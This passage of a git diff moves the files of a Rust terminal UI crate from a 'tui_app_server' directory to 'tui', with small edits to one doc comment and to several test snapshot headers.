codex-rs/tui_app_server/frames/vbars/frame_31.txt rename to codex-rs/tui/frames/vbars/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_32.txt b/codex-rs/tui/frames/vbars/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_32.txt rename to codex-rs/tui/frames/vbars/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_33.txt b/codex-rs/tui/frames/vbars/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_33.txt rename to codex-rs/tui/frames/vbars/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_34.txt b/codex-rs/tui/frames/vbars/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_34.txt rename to codex-rs/tui/frames/vbars/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_35.txt b/codex-rs/tui/frames/vbars/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_35.txt rename to codex-rs/tui/frames/vbars/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_36.txt b/codex-rs/tui/frames/vbars/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_36.txt rename to codex-rs/tui/frames/vbars/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_4.txt b/codex-rs/tui/frames/vbars/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_4.txt rename to codex-rs/tui/frames/vbars/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_5.txt b/codex-rs/tui/frames/vbars/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_5.txt rename to codex-rs/tui/frames/vbars/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_6.txt b/codex-rs/tui/frames/vbars/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_6.txt rename to codex-rs/tui/frames/vbars/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_7.txt b/codex-rs/tui/frames/vbars/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_7.txt rename to codex-rs/tui/frames/vbars/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_8.txt b/codex-rs/tui/frames/vbars/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_8.txt rename to codex-rs/tui/frames/vbars/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/vbars/frame_9.txt b/codex-rs/tui/frames/vbars/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/vbars/frame_9.txt rename to codex-rs/tui/frames/vbars/frame_9.txt diff --git a/codex-rs/tui_app_server/prompt_for_init_command.md b/codex-rs/tui/prompt_for_init_command.md similarity index 100% rename from codex-rs/tui_app_server/prompt_for_init_command.md rename to codex-rs/tui/prompt_for_init_command.md diff --git a/codex-rs/tui_app_server/src/additional_dirs.rs b/codex-rs/tui/src/additional_dirs.rs similarity index 100% rename from codex-rs/tui_app_server/src/additional_dirs.rs rename to codex-rs/tui/src/additional_dirs.rs diff --git a/codex-rs/tui_app_server/src/app.rs b/codex-rs/tui/src/app.rs similarity index 100% rename from codex-rs/tui_app_server/src/app.rs rename to codex-rs/tui/src/app.rs diff --git a/codex-rs/tui_app_server/src/app/agent_navigation.rs b/codex-rs/tui/src/app/agent_navigation.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/agent_navigation.rs rename to codex-rs/tui/src/app/agent_navigation.rs diff --git a/codex-rs/tui_app_server/src/app/app_server_adapter.rs b/codex-rs/tui/src/app/app_server_adapter.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/app_server_adapter.rs rename to codex-rs/tui/src/app/app_server_adapter.rs diff --git a/codex-rs/tui_app_server/src/app/app_server_requests.rs b/codex-rs/tui/src/app/app_server_requests.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/app_server_requests.rs rename to codex-rs/tui/src/app/app_server_requests.rs diff --git a/codex-rs/tui_app_server/src/app/loaded_threads.rs b/codex-rs/tui/src/app/loaded_threads.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/loaded_threads.rs rename to codex-rs/tui/src/app/loaded_threads.rs diff --git a/codex-rs/tui_app_server/src/app/pending_interactive_replay.rs b/codex-rs/tui/src/app/pending_interactive_replay.rs similarity index 100% rename from codex-rs/tui_app_server/src/app/pending_interactive_replay.rs rename to codex-rs/tui/src/app/pending_interactive_replay.rs diff --git a/codex-rs/tui_app_server/src/app_backtrack.rs b/codex-rs/tui/src/app_backtrack.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_backtrack.rs rename to codex-rs/tui/src/app_backtrack.rs diff --git a/codex-rs/tui_app_server/src/app_command.rs b/codex-rs/tui/src/app_command.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_command.rs rename to codex-rs/tui/src/app_command.rs diff --git a/codex-rs/tui_app_server/src/app_event.rs b/codex-rs/tui/src/app_event.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_event.rs rename to codex-rs/tui/src/app_event.rs diff --git a/codex-rs/tui_app_server/src/app_event_sender.rs b/codex-rs/tui/src/app_event_sender.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_event_sender.rs rename to codex-rs/tui/src/app_event_sender.rs diff --git a/codex-rs/tui_app_server/src/app_server_session.rs b/codex-rs/tui/src/app_server_session.rs similarity index 100% rename from codex-rs/tui_app_server/src/app_server_session.rs rename to codex-rs/tui/src/app_server_session.rs diff --git a/codex-rs/tui_app_server/src/ascii_animation.rs b/codex-rs/tui/src/ascii_animation.rs similarity index 100% rename from codex-rs/tui_app_server/src/ascii_animation.rs rename to codex-rs/tui/src/ascii_animation.rs diff --git a/codex-rs/tui_app_server/src/audio_device.rs b/codex-rs/tui/src/audio_device.rs similarity index 100% rename from codex-rs/tui_app_server/src/audio_device.rs rename to codex-rs/tui/src/audio_device.rs diff --git a/codex-rs/tui_app_server/src/bin/md-events.rs b/codex-rs/tui/src/bin/md-events.rs similarity index 100% rename from codex-rs/tui_app_server/src/bin/md-events.rs rename to codex-rs/tui/src/bin/md-events.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/AGENTS.md b/codex-rs/tui/src/bottom_pane/AGENTS.md similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/AGENTS.md rename to codex-rs/tui/src/bottom_pane/AGENTS.md diff --git a/codex-rs/tui_app_server/src/bottom_pane/app_link_view.rs b/codex-rs/tui/src/bottom_pane/app_link_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/app_link_view.rs rename to codex-rs/tui/src/bottom_pane/app_link_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/approval_overlay.rs b/codex-rs/tui/src/bottom_pane/approval_overlay.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/approval_overlay.rs rename to codex-rs/tui/src/bottom_pane/approval_overlay.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/bottom_pane_view.rs b/codex-rs/tui/src/bottom_pane/bottom_pane_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/bottom_pane_view.rs rename to codex-rs/tui/src/bottom_pane/bottom_pane_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs b/codex-rs/tui/src/bottom_pane/chat_composer.rs similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs rename to codex-rs/tui/src/bottom_pane/chat_composer.rs index 3f77abc16..a85dd131b 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs +++ b/codex-rs/tui/src/bottom_pane/chat_composer.rs @@ -93,7 +93,7 @@ //! machine and treats the key stream as normal typing. When toggling from enabled → disabled, the //! composer flushes/clears any in-flight burst state so it cannot leak into subsequent input. //! -//! For the detailed burst state machine, see `codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs`. +//! For the detailed burst state machine, see `codex-rs/tui/src/bottom_pane/paste_burst.rs`. //! For a narrative overview of the combined state machine, see `docs/tui-chat-composer.md`. //! //! # PasteBurst Integration Points diff --git a/codex-rs/tui_app_server/src/bottom_pane/chat_composer_history.rs b/codex-rs/tui/src/bottom_pane/chat_composer_history.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/chat_composer_history.rs rename to codex-rs/tui/src/bottom_pane/chat_composer_history.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/command_popup.rs b/codex-rs/tui/src/bottom_pane/command_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/command_popup.rs rename to codex-rs/tui/src/bottom_pane/command_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/custom_prompt_view.rs b/codex-rs/tui/src/bottom_pane/custom_prompt_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/custom_prompt_view.rs rename to codex-rs/tui/src/bottom_pane/custom_prompt_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/experimental_features_view.rs b/codex-rs/tui/src/bottom_pane/experimental_features_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/experimental_features_view.rs rename to codex-rs/tui/src/bottom_pane/experimental_features_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/feedback_view.rs b/codex-rs/tui/src/bottom_pane/feedback_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/feedback_view.rs rename to codex-rs/tui/src/bottom_pane/feedback_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/file_search_popup.rs b/codex-rs/tui/src/bottom_pane/file_search_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/file_search_popup.rs rename to codex-rs/tui/src/bottom_pane/file_search_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/footer.rs b/codex-rs/tui/src/bottom_pane/footer.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/footer.rs rename to codex-rs/tui/src/bottom_pane/footer.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/list_selection_view.rs b/codex-rs/tui/src/bottom_pane/list_selection_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/list_selection_view.rs rename to codex-rs/tui/src/bottom_pane/list_selection_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/mcp_server_elicitation.rs b/codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/mcp_server_elicitation.rs rename to codex-rs/tui/src/bottom_pane/mcp_server_elicitation.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/mod.rs b/codex-rs/tui/src/bottom_pane/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/mod.rs rename to codex-rs/tui/src/bottom_pane/mod.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/multi_select_picker.rs b/codex-rs/tui/src/bottom_pane/multi_select_picker.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/multi_select_picker.rs rename to codex-rs/tui/src/bottom_pane/multi_select_picker.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs b/codex-rs/tui/src/bottom_pane/paste_burst.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/paste_burst.rs rename to codex-rs/tui/src/bottom_pane/paste_burst.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/pending_input_preview.rs b/codex-rs/tui/src/bottom_pane/pending_input_preview.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/pending_input_preview.rs rename to codex-rs/tui/src/bottom_pane/pending_input_preview.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/pending_thread_approvals.rs b/codex-rs/tui/src/bottom_pane/pending_thread_approvals.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/pending_thread_approvals.rs rename to codex-rs/tui/src/bottom_pane/pending_thread_approvals.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/popup_consts.rs b/codex-rs/tui/src/bottom_pane/popup_consts.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/popup_consts.rs rename to codex-rs/tui/src/bottom_pane/popup_consts.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/prompt_args.rs b/codex-rs/tui/src/bottom_pane/prompt_args.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/prompt_args.rs rename to codex-rs/tui/src/bottom_pane/prompt_args.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/layout.rs b/codex-rs/tui/src/bottom_pane/request_user_input/layout.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/layout.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/layout.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/mod.rs b/codex-rs/tui/src/bottom_pane/request_user_input/mod.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/mod.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/mod.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/render.rs b/codex-rs/tui/src/bottom_pane/request_user_input/render.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/render.rs rename to codex-rs/tui/src/bottom_pane/request_user_input/render.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap similarity index 96% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap index 872bfe1d0..4fa267c65 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_footer_wrap.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2600 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_freeform.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_hidden_options_footer.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_long_option_text.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap index bb1c2a726..d39ee646e 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_first.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2744 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap index dbe06d404..ff3fb66ba 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_multi_question_last.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2770 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap similarity index 98% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap index a4540a2b2..fef6903e6 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap +++ b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_options_notes_visible.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/request_user_input/mod.rs -assertion_line: 2321 expression: "render_snapshot(&overlay, area)" --- diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_scrolling_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_tight_height.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_unanswered_confirmation.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap b/codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap rename to codex-rs/tui/src/bottom_pane/request_user_input/snapshots/codex_tui__bottom_pane__request_user_input__tests__request_user_input_wrapped_options.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/scroll_state.rs b/codex-rs/tui/src/bottom_pane/scroll_state.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/scroll_state.rs rename to codex-rs/tui/src/bottom_pane/scroll_state.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/selection_popup_common.rs b/codex-rs/tui/src/bottom_pane/selection_popup_common.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/selection_popup_common.rs rename to codex-rs/tui/src/bottom_pane/selection_popup_common.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/skill_popup.rs b/codex-rs/tui/src/bottom_pane/skill_popup.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/skill_popup.rs rename to codex-rs/tui/src/bottom_pane/skill_popup.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/skills_toggle_view.rs b/codex-rs/tui/src/bottom_pane/skills_toggle_view.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/skills_toggle_view.rs rename to codex-rs/tui/src/bottom_pane/skills_toggle_view.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs b/codex-rs/tui/src/bottom_pane/slash_commands.rs similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/slash_commands.rs rename to codex-rs/tui/src/bottom_pane/slash_commands.rs diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_enable_suggestion_with_reason.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__app_link_view__tests__app_link_view_install_suggestion_with_reason.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap similarity index 83% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap index 989f80f57..658d8c84e 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_additional_permissions_prompt.snap @@ -1,6 +1,6 @@ --- source: tui/src/bottom_pane/approval_overlay.rs -expression: "render_overlay_lines(&view, 120)" +expression: "normalize_snapshot_paths(render_overlay_lines(&view, 120))" --- Would you like to run the following command? diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap index ddd106c63..69f3847ad 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_cross_thread_prompt.snap @@ -2,6 +2,7 @@ source: tui/src/bottom_pane/approval_overlay.rs expression: "render_overlay_lines(&view, 80)" --- + Would you like to run the following command? Thread: Robie [explorer] diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__approval_overlay_permissions_prompt.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap similarity index 99% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap index 612563fe1..aad5f89aa 100644 --- a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap +++ b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__approval_overlay__tests__network_exec_prompt.snap @@ -1,6 +1,5 @@ --- source: tui/src/bottom_pane/approval_overlay.rs -assertion_line: 821 expression: "format!(\"{buf:?}\")" --- Buffer { diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__backspace_after_pastes.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap similarity index 100% rename from codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap rename to codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__empty.snap diff --git a/codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap b/codex-rs/tui/src/bottom_pane/snapshots/codex_tui__bottom_pane__chat_composer__tests__footer_collapse_empty_full.snap similarity index 100% rename from 